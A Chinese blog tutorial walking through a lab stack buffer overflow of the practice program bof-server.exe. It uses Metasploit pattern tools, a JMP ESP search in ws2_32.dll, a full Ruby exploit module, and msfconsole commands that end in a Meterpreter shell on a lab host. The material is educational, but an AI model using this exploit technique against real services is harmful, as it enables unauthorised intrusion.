渗透之——使用Metasploit实现对缓冲区栈的溢出攻击

转载请注明出处:https://blog.csdn.net/l1028386804/article/details/86494568

这里我们不说理论,只讲实战,以Metasploit溢出bof-server.exe为例。

1.下载工具

这里需要下载bof-server.exe和ImmunityDebugger

bof-server.exe 下载地址为:http://redstack.net/blog/category/How%20To.html

ImmunityDebugger下载地址为:http://www.immunityinc.com/products/debugger/

或者 https://download.csdn.net/download/l1028386804/10918212

2.开启bof-server.exe监听端口

这里,我们监听200端口,具体方法为:打开cmd命令行,切换到bof-server.exe所在的目录后执行如下命令:

bof-server.exe 200

此时,sof-server便开始监听200端口了。

3.生成字符序列

我们使用Metasploit中的pattern_create.rb脚本生成字符序列。首先我们查看以下pattern_create.rb脚本的帮助信息,在Kali命令行输入如下信息:

root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -h
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf

Options:
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message

可以看到我们只要在pattern_create.rb脚本的后面加上"-l 字符序列长度"就可以生成指定长度的字符序列。这里,我们生成一个长度为1000的字符序列。

输入命令如下:

root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6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ying 192.168.109.141...
Connected to 192.168.109.141.
Escape character is '^]'.

> 

接下来我们发送字符序列,将第3步生成的字符序列复制到telnet终端,回车。

5.查看bof-server.exe命令行

接着,我们查看bof-server.exe命令行状态,可以看到如下图所示:

说明bof-server.exe程序发生了溢出。我们单击“请单击此处”查看详情,如下:

可以看到Offset的值为:72413372

6.找出准确字节数量

这里我们用到的工具是Metasploit下的pattern_offset.rb,首先我们先查看pattern_offset.rb脚本的帮助信息,输入如下命令:

root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -h
Usage: msf-pattern_offset [options]
Example: msf-pattern_offset -q Aa3A
[*] Exact match at offset 9

Options:
    -q, --query Aa0A                 Query to Locate
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message

可以看到-q参数为要查询的地址,-l参数为要查询的字符序列的长度。

根据第5步我们得出地址为:72413372,前面我们生成的字符序列的长度为1000

所以,我们输入如下命令来得出准确字节的数量

root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 72413372 -l 1000
[*] Exact match at offset 520

可以看到得出的结果为520

7.分析bof-server.exe运行时加载的DLL文件

这里,我们通过工具ImmunityDebugger工具来分析bof-server.exe运行时加载的DLL文件,可以到http://www.immunityinc.com/products/debugger/ 或者 https://download.csdn.net/download/l1028386804/10918212 下载。

具体操作如下:

打开ImmunityDebugger->File->Attach,来显示目标机上运行的所有进程。

打开之后,我们看到了目标机上的所有进程如下,同时,我们找到名称为bof-server.exe的进程,如下所示:

接下来,我们选中bof-server.exe进程,单击右下角的Attach按钮

此时,显示的是bof-server.exe的一些运行信息,如下:

接下来我们选择View->Executable modules,如下图:

点击后的效果如下图所示:

这里,就是bof-server.exe运行加载的所有DLL文件了。这里我们选择一个ws2_32.dll文件上传到Kali的/root目录下,通过Metasploit的msfbinscan查找JMP ESP指令的地址。

8.查找JMP ESP指令的地址

这里,我们用到的工具是Metasploit下的msfbinscan。首先我们要进入msf命令行,在Kali终端下输入如下命令:

msfconsole

查看msfbinscan的帮助信息,如下:

msf > msfbinscan -h
[*] exec: msfbinscan -h

Usage: /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/bin/msfbinscan [mode] <options> [targets]

Modes:
    -j, --jump [regA,regB,regC]      Search for jump equivalent instructions        [PE|ELF|MACHO]
    -p, --poppopret                  Search for pop+pop+ret combinations            [PE|ELF|MACHO]
    -r, --regex [regex]              Search for regex match                         [PE|ELF|MACHO]
    -a, --analyze-address [address]  Display the code at the specified address      [PE|ELF]
    -b, --analyze-offset [offset]    Display the code at the specified offset       [PE|ELF]
    -f, --fingerprint                Attempt to identify the packer/compiler        [PE]
    -i, --info                       Display detailed information about the image   [PE]
    -R, --ripper [directory]         Rip all module resources to disk               [PE]
        --context-map [directory]    Generate context-map files                     [PE]

Options:
    -A, --after [bytes]              Number of bytes to show after match (-a/-b)    [PE|ELF|MACHO]
    -B, --before [bytes]             Number of bytes to show before match (-a/-b)   [PE|ELF|MACHO]
    -I, --image-base [address]       Specify an alternate ImageBase                 [PE|ELF|MACHO]
    -D, --disasm                     Disassemble the bytes at this address          [PE|ELF]
    -F, --filter-addresses [regex]   Filter addresses based on a regular expression [PE]
    -h, --help                       Show this message
msf > 

接下来我们输入如下命令来获取JMP ESP指令的地址:

msf > msfbinscan -j esp /root/ws2_32.dll
[*] exec: msfbinscan -j esp /root/ws2_32.dll

[/root/ws2_32.dll]
0x71a22b53 push esp; ret
msf > 

可以看到,我们得出的JMP ESP指令的地址为:0x71a22b53

9.编写攻击脚本bof_server_attack.rb

接下来,我们就要编写攻击脚本bof_server_attack.rb了,这里不多说了,直接上代码:

##
# Author 冰河
# Date 2019-01-15
# Description 缓冲区溢出sof-server从而拿下目标服务器Meterpreter Shell
##

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  
  def initialize(info = {})
  super(update_info(info,
    'Name' => 'Stack Based Buffer Overflow Example',
    'Description' => %q{
      Stack Based Overflow Example Application Exploitation Module
    },
    'Platform' => 'WIndows',
    'Author' => 
      [
        'binghe'
      ],
      
     'Payload' =>
      {
        'space' => 1000,
        'BadChars' => "\x00\xff"
      },
     'Targets' =>
      [
        ['Windows XP SP3', {'Ret' => 0x71a22b53, 'Offset' => 520}]
      ],
     'DisclosureDate' => '2019-01-15'
  ))
  
  register_options(
  [
    Opt::RPORT(200)
  ],self.class)
  end
  
  def exploit
    connect
    buf = make_nops(target['Offset'])
    buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    sock.put(buf)
    handler
    disconnect
   end
end

要注意的是:

'Targets' =>
  [
    ['Windows XP SP3', {'Ret' => 0x71a22b53, 'Offset' => 520}]
  ],

中的Ret的值要和第8步中我们找到的JMP ESP指令的地址一致, Offset的值要和第6步中找出的准确字节数一致。

10.上传bof_server_attack.rb脚本

将bof_server_attack.rb脚本上传到Kali的/usr/share/metasploit-framework/modules/exploits/windows/masteringmetasploit/目录下。

11.运行攻击脚本

msfconsole
use exploit/windows/masteringmetasploit/bof_server_attack
set payload windows/meterpreter/bind_tcp
show options
set RHOST 192.168.109.141
show options
exploit

此时我们拿到了目标服务器的Meterpreter Shell,如下图所示:

此时,我们查看目标服务器的bof-server.exe终端,如下图所示:

12.可能出现的问题

有时我们运行exploit进行渗透拿Meterpreter Shell的时候,会出现不成功的情况,具体如下图:

此时,查看目标机的bof-server.exe命令行的缓冲区溢出并断开了监听。

此时,只需要在目标机上多运行几次bof-server.exe 200和在Kali上多运行几次exploit,直到成功拿到Meterpreter Shell。

 

  • 6
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

冰 河

可以吃鸡腿么?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值